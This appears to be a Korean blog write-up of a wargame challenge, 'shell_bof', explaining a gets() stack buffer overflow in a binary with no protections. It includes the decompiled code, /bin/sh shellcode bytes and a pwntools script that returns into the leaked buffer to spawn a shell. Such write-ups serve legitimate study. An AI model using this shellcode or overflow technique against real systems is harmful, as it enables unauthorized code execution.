워게임

[시스템 해킹] shell_bof write-up

sewoo-jjang 2026. 1. 18. 17:05

shell_bof.zip
0.00MB

 

들어가기 전에

본 문제를 풀기 전 해당 블로그에 있는 bof1문제를 풀지 않았다면 먼저 풀어보는것을 추천한다.

그곳에 IDA 사용법도 간단하게 나와있으니 참고하길 바란다.

1. 소스코드 확인

기존 풀이까지는 컴파일 하기 전 원본 코드가 있다는 가정하에 소스코드를 확인해였지만, 이번에는 IDA 디컴파일러를 이용하여 실행파일만 가지고 exploit을 시도해보겠다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[50]; // [esp+2h] [ebp-36h] BYREF

  init();
  printf("Hi! Is this your first time shellcode?\nThen I'll give you a present : %p", s);
  gets(s);
  puts("Good Luck :)");
  return 0;
}
  • shell_bof 파일을 IDA로 연 뒤 Tab 버튼을 누르게 되면 어셈블리어에서 해당 코드로 디컴파일 된다.
  • 이번 문제의 취약점은 gets()함수로 입력하는 글자의 수를 제한할 수 없어 스택을 bof 시킬 수 있음을 확인할 수 있다.
  • 또한 버퍼 s의 시작주소를 반환해주는 선물이 주어진다.
  • 추가로 버퍼 s의 끝은 ebp로부터 0x36거리만큼 떨어져있음을 기억해두자.

2. 보안기법 확인

  • checksec 명령어로 확인해본 결과 32bit 기반 파일에 어떠한 보안기법도 켜지지 않음을 확인할 수 있다.

3. shell을 실행시킬 수 있는 함수가 존재하는지 확인

  • IDA에서 사용자가 지정한 함수가 따로 있는지 혹은 라이브러리에서 온 system 함수가 있는지 찾아본 결과 존재하지 않음을 확인할 수 있다.
  • 그렇다면 bof1 과 같이 system함수가 존재하는 함수로 주소를 옮기는 방식은 불가능하다는걸 확인할 수 있다.
  • 하지만 현재 어떠한 보안기법도 켜져있지 않기에 이는 큰 문제가 되지 않는다. -> 인터넷에 32bit shellcode라고 검색하면 친절하게 정리해두신분들이 많기때문..

4. payload 작성

인터넷에 검색하여 26bit shellcode를 얻어내 사용하였다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

코드

from pwn import *

p = process('./shell_bof')

p.recvuntil(b'0x')
stack = int(p.recv(8).decode(),16) # 16진수 문자열을 정수로 변환
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'

pay = shellcode
pay += b'\x00'*(0x36-len(pay)) #shellcode의 마지막은 \x00이여야하기에 다른것도 될 수도 있지만 되도록이면 \x00으로 작성하자
pay += b'a'*4
pay += p32(stack)

p.sendline(pay)
p.interactive()
  • payload는
    1. 버퍼 s의 처음에 shellcode를 입력한 뒤 빈 공간을 00으로 채우고
    2. return address에 버퍼 s의 시작주소를 넣고
    3. return에 도달하면 s의 시작주소로 이동하여
    4. 버퍼 s에 가장 처음에 저장되었던 shellcode가 실행되게끔 만들어 shell을 따는 구조이다.
  • 사실 ASLR 보호기법이 꺼져있다면 IDA를 이용하여 버퍼 s의 시작주소를 얻을 수 있기에 실행된 프로그램으로부터 stack주소를 얻어오는 행위는 안해도 된다.

5. 결과

  • 보이는것과같이 shell을 획득할 수 있다.